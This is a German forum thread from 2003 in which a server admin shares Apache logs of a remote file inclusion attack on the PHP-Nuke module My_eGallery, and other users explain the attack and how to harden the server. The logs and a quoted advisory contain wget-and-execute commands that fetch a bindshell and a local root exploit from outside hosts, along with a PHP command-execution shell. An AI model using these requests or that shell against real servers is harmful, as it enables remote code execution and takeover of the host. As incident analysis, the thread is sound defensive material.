Neue Sicherheitslücke in Nuke Modul My_eGallery?

[webhilfe]

Moin Moin,

Habe diese Einträge in meinem Apache Log gefunden:

Code: Select all

--02:49:16--  http://ns3.zeroproject.net/bind.txt
           => `bind.txt'
Resolving ns3.zeroproject.net... done.
Connecting to ns3.zeroproject.net[80.247.76.183]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 19,520 [text/plain]

    0K .......... .........                                  100%  152.50 KB/s

02:49:17 (152.50 KB/s) - `bind.txt' saved [19520/19520]

200.196.119.9 - - [17/Nov/2003:02:48:44 +0100] "GET /modules.php?name=My_eGallery HTTP/1.1" 200 6055
200.196.119.9 - - [17/Nov/2003:02:48:47 +0100] "GET /modules/My_eGallery/public/displayCategory.php?basepath=http://www.bywordonline.com/sc/app.txt?&cmd=uname%20-a;id;pwd HTTP/1.1" 200 685
200.196.119.9 - - [17/Nov/2003:02:49:17 +0100] "GET /modules/My_eGallery/public/displayCategory.php?basepath=http://www.bywordonline.com/sc/app.txt?&cmd=cd%20/tmp;wget%20http://ns3.zeroproject.net/bind.txt;chmod%207777%20bind.txt HTTP/1.1" 200 506
200.196.119.9 - - [17/Nov/2003:02:49:42 +0100] "GET /modules/My_eGallery/public/displayCategory.php?basepath=http://www.bywordonline.com/sc/app.txt?&cmd=cd%20/tmp;./bind.txt HTTP/1.1" 200 550

cd /tmp;ls                                                                                                                   
wget http://dwarka.ghen.net/localroot;chmod +x localroot                                                                     
./localroot

Infos http://www.security-corp.net
Die Datei bind.txt wurde also ins /tmp Verzeichniss geladen und danach aktiviert.
Vermutung liegt nahe, das jemand unseren DNS Server belauscht hat.

http://66.227.19.157/article1015.html

Auf dem Server läuft SuPHP 3.1 und das Problemkind mod_proxy.
Wie ist sowas möglich und wie kann man soetwas verhindern ausser den Proxy abzuschalten?

Das scheint bei 1und1 Servern momentan der Hit zu sein.
Leider konnte ich bisher nicht auf den Proxy verzichten, da es ja bei 1und1 nur eine IP pro Server gibt.

Glücklicherweise hat das ganze ab nächste Woche ein ende, da ich bei 1und1 gekündigt habe :-)

[s4fuser]

Auszug aus der INSTALL von MeG 2.7.9:

4. 'chmod 777' modules/My_eGallery/temp in order to enable to visitors to post media.
For security reasons, you should put this file in another location.
The new path can be written in MeG admin panel (General Settings)

Damit wäre das wahrscheinlich nicht passiert. Mein tmp-Verzeichnis hat einen Pfad á la ./nufw9wh84rw48t/pokjtnth493t/bfen8943/tmp.
Aber es ist ja nichts Neues, dass Nuke Sicherheitslöcher en masse hat und dass Module mit Upload-Funktionalität besonders gefährdert sind (siehe Webmail-Modul, ...).

[Joe User]

Mein tmp-Verzeichnis hat einen Pfad á la ./nufw9wh84rw48t/pokjtnth493t/bfen8943/tmp.

Greppe mal nach Deinem tmp...

[s4fuser]

Wie meinst Du das?

[Joe User]

Es ist egal wie kryptisch das tmp "versteckt" wird, da es an mehreren Stellen gespeichert wird und somit immer "gefunden" werden kann. Oder was glaubst Du woher die jeweilige Anwendung den Pfad kennt?

[s4fuser]

Oder was glaubst Du woher die jeweilige Anwendung den Pfad kennt?

Der Angreifer versucht es mit der Standardeinstellung, weil über 90% aller User diese nicht ändern.

[Joe User]

Dank 'chmod 777' ist es wurscht, ob der Pfad standard oder kryptisch ist...

[webhilfe]

Es ist egal wie kryptisch das tmp "versteckt" wird, da es an mehreren Stellen gespeichert wird und somit immer "gefunden" werden kann. Oder was glaubst Du woher die jeweilige Anwendung den Pfad kennt?

Kann mich da nur anschliessen. Der User sucht sich ja das tmp Verzeichniss nicht selbst aus.

Es muss da doch eine Lösung geben????

[s4fuser]

Kann mich da nur anschliessen. Der User sucht sich ja das tmp Verzeichniss nicht selbst aus.

Doch, genau das sollte er. Siehe Installationsanleitung oben.

@Joe: Das verstehe ich nicht.
Ein Angreifer lädt mittels Upload-Modul eine Text-Datei hoch. Diese wird auf dem Server in ein temp-Verzeichnis verschoben, dessen Pfad der Angreifer nicht kennt (vorausgesetzt, der Betreiber hat den Pfad angepasst).
Erkläre mir bitte mal, wie der Angreifer die Datei ausführen will, wenn er den Pfad nicht kennt.

[Joe User]

Es muss da doch eine Lösung geben????

Gibt es: Auf unbekannte/unsichere Scripts verzichten!

[webhilfe]

Es muss da doch eine Lösung geben????

Gibt es: Auf unbekannte/unsichere Scripts verzichten!

Hehe, stimmt. Dann muss ich jetzt meinen Kunden mitteilen, das Sie bitte nichts mehr auf Ihren Account uppen was ich nicht kenne :-)

Das Verzeichniss My_eGallery hat übrigens kein chmod 777.

Soweit ich informiert bin, geht das ganze auch nur im /tmp Verzeichniss.
Kann man denn das /tmp nicht abschotten, indem man halt nicht jedem erlaubt dort reinzuschreiben?

[v00dy]

modproxy hat damit nichts zu tun.
das php script ist schlecht gecodet, dieses erlaubt fremde seiten anzusurfen.
man kann das aber trozdem verhindern in dem man allow_url_fopen in php deaktiviert.

was der hacker gemacht hat..
der hat zuerst nach deiner kernel version geschaut.
dann hat er eine bindshell gedownloadet, ausführbar gemacht und gestartet.
hat danach auf die bindshell via telnet connected und via ptrace kernel exploit root rechte erlangt..

[webhilfe]

modproxy hat damit nichts zu tun.
das php script ist schlecht gecodet, dieses erlaubt fremde seiten anzusurfen.
man kann das aber trozdem verhindern in dem man allow_url_fopen in php deaktiviert.

was der hacker gemacht hat..
der hat zuerst nach deiner kernel version geschaut.
dann hat er eine bindshell gedownloadet, ausführbar gemacht und gestartet.
hat danach auf die bindshell via telnet connected und via ptrace kernel exploit root rechte erlangt..

Prima, ich hab mod_proxy abgeschaltet und danach war das ganze nicht mehr möglich.

Telnet ist nicht aktiviert auf dem Server, wie kann er sich dann trotzdem über telnet verbinden?

allow_url_fopen habe ich dann mal lieber abgeschaltet :-)

Meinst Du wirklich das der Angreifer root rechte hat? Kann ich das irgendwie herausbekommen?

Chrootkit findet jedenfalls nichts.

[Joe User]

@Joe: Das verstehe ich nicht.
Ein Angreifer lädt mittels Upload-Modul eine Text-Datei hoch.

Scripte sind ebenfalls Textdateien ;)

Diese wird auf dem Server in ein temp-Verzeichnis verschoben, dessen Pfad der Angreifer nicht kennt (vorausgesetzt, der Betreiber hat den Pfad angepasst).
Erkläre mir bitte mal, wie der Angreifer die Datei ausführen will, wenn er den Pfad nicht kennt.

Da das tmp mit 777 angelegt wird, kann dort jeder tun und lassen was er möchte, unter Anderem auch Scripte ausführen, welche sich selbst den eigenen Pfad ermitteln, zum Beispiel als Shellscript mittels `pwd`...

[v00dy]

>>Prima, ich hab mod_proxy abgeschaltet und danach war das ganze nicht mehr möglich.
dann hast du bestimmt fopen gleichzeitig mit abgeschaltet? :D

>>Meinst Du wirklich das der Angreifer root rechte hat? Kann ich das irgendwie herausbekommen?
wenn du den kernel nicht gepatcht hast oder ein update eingespielt hast,
dann hat das 100pro geklappt.
die standart kernels bei 1&1 sind meines wissens nicht gepatcht.
ansonsten um es zu testen.. da gibts chkrootkit's wobei die nur rootkits aufdecken und auch nicht alle.
das beste ist das system selber zu checken, wenn du das nicht kannst dann lasse den server reinstallieren.

>>Telnet ist nicht aktiviert auf dem Server, wie kann er sich dann trotzdem über telnet verbinden?
in dem er das auf deinem server gedownloadet hat und gestartet hat.
http://ns3.zeroproject.net/bind.txt

sieht man doch alles in den logs..

[s4fuser]

Scripte sind ebenfalls Textdateien ;)

Jo, schon klar.

Da das tmp mit 777 angelegt wird, kann dort jeder tun und lassen was er möchte, unter Anderem auch Scripte ausführen, welche sich selbst den eigenen Pfad ermitteln, zum Beispiel als Shellscript mittels `pwd`...

Und wie rufst Du ein Skript auf, dessen Adresse Du nicht kennst?

[webhilfe]

>>Prima, ich hab mod_proxy abgeschaltet und danach war das ganze nicht mehr möglich.
dann hast du bestimmt fopen gleichzeitig mit abgeschaltet? :D

Nein, das habe ich vorher nicht gewusst mit dem allow_url_fopen Off Parameter in der php.ini.

>>Meinst Du wirklich das der Angreifer root rechte hat? Kann ich das irgendwie herausbekommen?
wenn du den kernel nicht gepatcht hast oder ein update eingespielt hast,
dann hat das 100pro geklappt.
die standart kernels bei 1&1 sind meines wissens nicht gepatcht.
ansonsten um es zu testen.. da gibts chkrootkit's wobei die nur rootkits aufdecken und auch nicht alle.

Updates sind eingespielt.

Code: Select all

Linux version 2.4.21-lufs-030704 (jacko@neverland) (gcc version 2.95.4 20011002 (Debian prerelease)) #1 SMP

SuSE 8.1 eigentlich, sieht aber nach debian aus?
Ã?ber das Web erhalte ich über phpinfo dies: Linux E180 2.4.19 #1

das beste ist das system selber zu checken, wenn du das nicht kannst dann lasse den server reinstallieren.

Hab mich mal über Google Informiert. Das Problem haben scheinbar alle grossen Hoster. Die schalten alle allow_url_fopen ab.

Was sollte man den am besten alles überprüfen?
Auf dem Server ist Snort, ACID, IPtables, Tripwire (seit gestern)

[[nix]pepe]

Sieht nicht nur nach Debian aus, ist auch Debian...

Auf den 1und1 Kisten laufen Debian-Kernel mit nem suse interface, warum auch immer ^^

http://ns3.zeroproject.net/bind.txt <-- hab versucht mir die datei anzugucken, ich krieg da nur ascii gematsche... hab's mit mehrern editoren probiert :(

[ffl]

Das ist ja auch ein Binary!

[Outlaw]

Mal ne generelle ernstgemeinte Frage:

Was ist an Nuke überhaupt sicher ??

Ich hatte es selbst mal ne Zeit lang laufen und ich bin froh, daß ich es wieder runter habe ....

Ich glaube, den Serveranbieter wechseln bringt bei Nuke gar nix ....

Gruß Outi

PS: Das ist nicht nur meine Meinung, ich hatte schon größere Diskussionen wegen dem Teil.

[webhilfe]

Moin Moin :-D

So, der neue Server läuft!

Mal ne generelle ernstgemeinte Frage:

Was ist an Nuke überhaupt sicher ??

Ich hatte es selbst mal ne Zeit lang laufen und ich bin froh, daß ich es wieder runter habe ....

Ich glaube, den Serveranbieter wechseln bringt bei Nuke gar nix ....

Gruß Outi

Hehe, das ich den Anbieter gewechselt habe, hatte nichts damit zu tun.
Mich hat die eine IP Adresse bei 1und1 genervt.
Von dem "Support" dort bin ich auch sowas von begeistert :lol:

Das Nuke nicht sicher ist, ist mir nun leider auch wieder klar :-(
Aber welcher Server ist schon sicher?!

@s4fuser:
Mit dem standard Pfaden hast Du schon recht.
Es geht aber nicht um das /My_eGallery/temp Verzeichniss, sondern das /tmp im root des Servers.

Besteht den irgendwie die Möglichkeit das /tmp Verzeichniss auf CHMOD 666 oder änhlich zu setzen? Oder dem Apache mitteilen, das er ein eigenes tmp Verzeichniss hat, in dem man nichts ausführen kann?

@v00dY

die standart kernels bei 1&1 sind meines wissens nicht gepatcht.
ansonsten um es zu testen.. da gibts chkrootkit's wobei die nur rootkits aufdecken und auch nicht alle.

Welchen Patch brauche ich? Wo bekomme ich diesen? Wo finde ich die chrootkit´s, die das aufdecken?
Bin dir für jede Hilfe dankbar.

[lufthansen]

SUMMARY

<http://lottasophie.sourceforge.net/index.php> My_eGallery is "a very
nice PostNuke module, which allows users to create and manipulate their
own galleries on the web, plus offers various additional features". A
vulnerability in the product allows remote attackers to inject code and
cause it to execute under the privilieges My_eGallery runs under.

DETAILS

Vulnerable systems:
* My_eGallery version 3.1.1.f and prior

Immune systems:
* My_eGallery version 3.1.1.g

Certain PHP files have some parameters which are used in include functions
not filtered. An intruder can craft PHP code on their Web site and supply
parameter to My_eGallery so it actually includes malicious PHP code.

The following code was captured as being used in the wild (edited
intentionally):
<?
// CMD - To Execute Command on File Injection Bug ( gif - jpg - txt )
if (isset($chdir)) @chdir($chdir);
ob_start();
execute("$cmd 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm /tmp/cmdtemp");
$output = ob_get_contents();
ob_end_clean();
print_output();
?>

This allows execution of any command on the server with My_eGallery, under
the privileges of the Web server (usually apache or httpd).

Solution:
Vendor was contacted and promptly replied. Fix is available at the
vendor's site:
<http://lottasophie.sourceforge.net/modu ... load&cid=5>
http://lottasophie.sourceforge.net/modu ... load&cid=5

As this was seen being exploited in the wild, users are urged to upgrade
to the latest version as soon as possible.

[v00dy]

>>Welchen Patch brauche ich? Wo bekomme ich diesen?
erstell einfach einen neuen kernel.
im 2.4.22 ist der bug behoben.
http://www.kernel.org/pub/linux/kernel/ ... .22.tar.gz

>>Wo finde ich die chrootkit´s, die das aufdecken?
>>Bin dir für jede Hilfe dankbar.
http://www.chkrootkit.org/
hier im forum ist irgendwo auch ein tread dazu..

[Outlaw]

Moin Moin :-D
Das Nuke nicht sicher ist, ist mir nun leider auch wieder klar :-(
Aber welcher Server ist schon sicher?!

Naja, die mit Nuke verm. nicht .... ;):D

Gruß Outi